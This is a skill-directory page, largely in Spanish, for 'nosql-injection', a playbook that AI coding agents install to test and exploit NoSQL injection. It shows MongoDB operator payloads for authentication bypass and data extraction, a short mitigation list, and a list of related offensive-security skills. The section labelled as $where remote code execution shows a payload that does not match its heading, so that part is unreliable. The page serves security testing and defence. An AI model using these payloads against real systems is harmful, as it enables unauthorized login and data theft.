CommunityProgramación y desarrollogithub.com

yaklang/nosql-injection

Libro de jugadas para inyección NoSQL. Úsalo cuando operadores estilo MongoDB, objetos JSON de consulta, filtros de búsqueda flexibles o DSLs de consulta del backend puedan permitir abuso de datos o lógica.

¿Qué es nosql-injection?

Esta habilidad proporciona un libro de jugadas (playbook) completo para identificar y explotar vulnerabilidades de inyección NoSQL en aplicaciones web y APIs. Es útil para desarrolladores, ingenieros de seguridad y agentes de IA automatizados que auditan sistemas que utilizan bases de datos NoSQL como MongoDB, CouchDB o Cassandra, donde los operadores de consulta y los objetos JSON pueden ser manipulados para eludir la autenticación, filtrar datos o ejecutar comandos arbitrarios. La habilidad se centra en escenarios donde los filtros de búsqueda flexibles, las consultas DSL del backend o los puntos finales de API aceptan directamente objetos JSON, permitiendo la inyección de operadores como `$ne`, `$gt`, `$regex` o `$where`. Funciona en múltiples plataformas de agentes de IA como Claude Code, Cursor y Codex, automatizando la detección de entradas vulnerables, generando payloads de prueba y documentando los pasos de explotación. Al integrar esta habilidad, los equipos pueden agilizar las pruebas de penetración, mejorar las revisiones de seguridad y prevenir violaciones de datos causadas por defectos de inyección NoSQL.

Compatible con~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/nosql-injection

Installed? Explore more Programación y desarrollo skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

Preguntar en tu IA favorita

Abre un nuevo chat con esta habilidad de agente ya precargada.

Documentación

¿Qué hace nosql-injection?

Libro de jugadas para inyección NoSQL. Úsalo cuando operadores estilo MongoDB, objetos JSON de consulta, filtros de búsqueda flexibles o DSLs de consulta del backend puedan permitir abuso de datos o lógica.

¿Qué es la inyección NoSQL?

La inyección NoSQL es una vulnerabilidad de seguridad donde un atacante puede interferir con las consultas que una aplicación realiza a una base de datos NoSQL. A diferencia de las bases de datos SQL tradicionales, las bases de datos NoSQL como MongoDB utilizan formatos de consulta basados en JSON y operadores como $ne, $gt, $regex, $where, etc. Un atacante puede inyectar estos operadores en entradas de usuario para manipular la consulta y acceder a datos no autorizados, eludir la autenticación o realizar operaciones maliciosas.

¿Cuándo usar este libro de jugadas?

  • La aplicación utiliza MongoDB, CouchDB, Cassandra u otras bases de datos NoSQL.
  • Los puntos finales de la API aceptan objetos JSON en el cuerpo de la solicitud (por ejemplo, { "username": "admin", "password": { "$ne": "" } }).
  • Hay filtros de búsqueda flexibles que permiten consultas complejas.
  • El backend utiliza DSLs de consulta que traducen entradas de usuario directamente a consultas NoSQL.

Cómo probar

Paso 1: Identificar puntos finales vulnerables

Busca puntos finales que acepten datos JSON y construyan consultas NoSQL. Los ejemplos comunes incluyen:

  • Endpoints de inicio de sesión
  • Parámetros de búsqueda/filtrado
  • Funciones de búsqueda de API

Paso 2: Insertar operadores NoSQL

Intenta insertar operadores NoSQL en los parámetros de entrada. Por ejemplo:

Solicitud original:

{
  "username": "admin",
  "password": "secreto123"
}

Solicitud modificada:

{
  "username": "admin",
  "password": { "$ne": "" }
}

Paso 3: Observar la respuesta

Si la solicitud tiene éxito (por ejemplo, inicio de sesión concedido), la aplicación es vulnerable a la inyección NoSQL. El operador $ne significa "no es igual", por lo que la consulta coincide con cualquier contraseña que no sea una cadena vacía.

Operadores NoSQL comunes

OperadorSignificadoEjemplo de payload
$neNo es igual{ "$ne": "" }
$gtMayor que{ "$gt": "" }
$gteMayor o igual que{ "$gte": "" }
$ltMenor que{ "$lt": "" }
$lteMenor o igual que{ "$lte": "" }
$regexCoincidencia de expresión regular{ "$regex": "^a.*" }
$existsEl campo existe{ "$exists": true }
$inEn un array{ "$in": ["admin", "root"] }
$ninNo en un array{ "$nin": ["user"] }
$whereEjecuta JavaScript (MongoDB){ "$where": "this.admin == true" }

Técnicas avanzadas

Elusión de autenticación usando $or

{
  "$or": [
    { "username": "admin" },
    { "username": { "$ne": "" } }
  ],
  "password": { "$ne": "" }
}

Recuperación de datos usando $regex

{
  "username": { "$regex": "^a" },
  "password": { "$ne": "" }
}

Inyección de $where para ejecución remota de código (RCE)

Si la aplicación es vulnerable a la inyección $where, puedes ejecutar JavaScript arbitrario:

{
  "username": "admin",
  "password": { "$ne": "" },
  "$where": "1"
}

Mitigación

  • Validación de entrada: Rechazar o desinfectar operadores NoSQL de las entradas de usuario.
  • Consultas parametrizadas: Utilizar consultas parametrizadas o funciones ORM que eviten la concatenación directa de entradas de usuario.
  • Principio de mínimo privilegio: Asegurarse de que la cuenta de la base de datos tenga solo los privilegios necesarios.
  • Registro y monitoreo: Registrar todas las consultas a la base de datos y monitorear actividades sospechosas.

Referencias


Este libro de jugadas es mantenido por la comunidad yaklang. Las contribuciones son bienvenidas.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

Skills relacionados